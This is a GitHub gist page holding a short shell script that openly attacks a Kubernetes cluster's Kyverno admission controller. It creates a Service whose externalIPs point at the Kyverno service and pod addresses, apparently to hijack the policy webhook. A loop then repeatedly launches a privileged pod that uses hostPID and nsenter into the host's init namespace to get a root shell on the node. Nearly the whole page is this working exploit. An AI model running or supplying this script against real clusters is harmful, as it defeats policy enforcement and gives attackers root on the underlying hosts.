Skip to content

Instantly share code, notes, and snippets.

@BenjiTrapp
Last active May 6, 2025 15:37
Show Gist options
  • Select an option

  • Save BenjiTrapp/4033d53d607366dd5bb3a144c417e1d5 to your computer and use it in GitHub Desktop.

Select an option

Save BenjiTrapp/4033d53d607366dd5bb3a144c417e1d5 to your computer and use it in GitHub Desktop.
SVCIP="$(kubectl get svc -n kyverno kyverno-svc --output jsonpath='{.spec.clusterIP}')"
PODNAME="$(kubectl get pod -n kyverno -l app.kubernetes.io/component=admission-controller --output name | sed -e 's/^pod\///g')"
PODIP="$(kubectl get pod -n kyverno $PODNAME --output jsonpath='{.status.podIP}')"
kubectl apply -f - <<EOF
apiVersion: apps/v1
kind: Deployment
metadata:
name: attack
spec:
selector:
matchLabels:
app: attack
template:
metadata:
labels:
app: attack
spec:
containers:
- image: nginx:latest
name: nginx
ports:
- containerPort: 80
---
apiVersion: v1
kind: Service
metadata:
name: attack
spec:
type: ClusterIP
selector:
app: attack
ports:
- name: https
protocol: TCP
port: 9443
targetPort: 80
externalIPs:
- $PODIP
- $SVCIP
EOF
# ATTACK!
while true; do
kubectl scale deployment.v1.apps/attack --replicas=2;
kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"busybox","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"securityContext":{"privileged":true}}]}}';
kubectl scale deployment.v1.apps/attack --replicas=3;
done
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment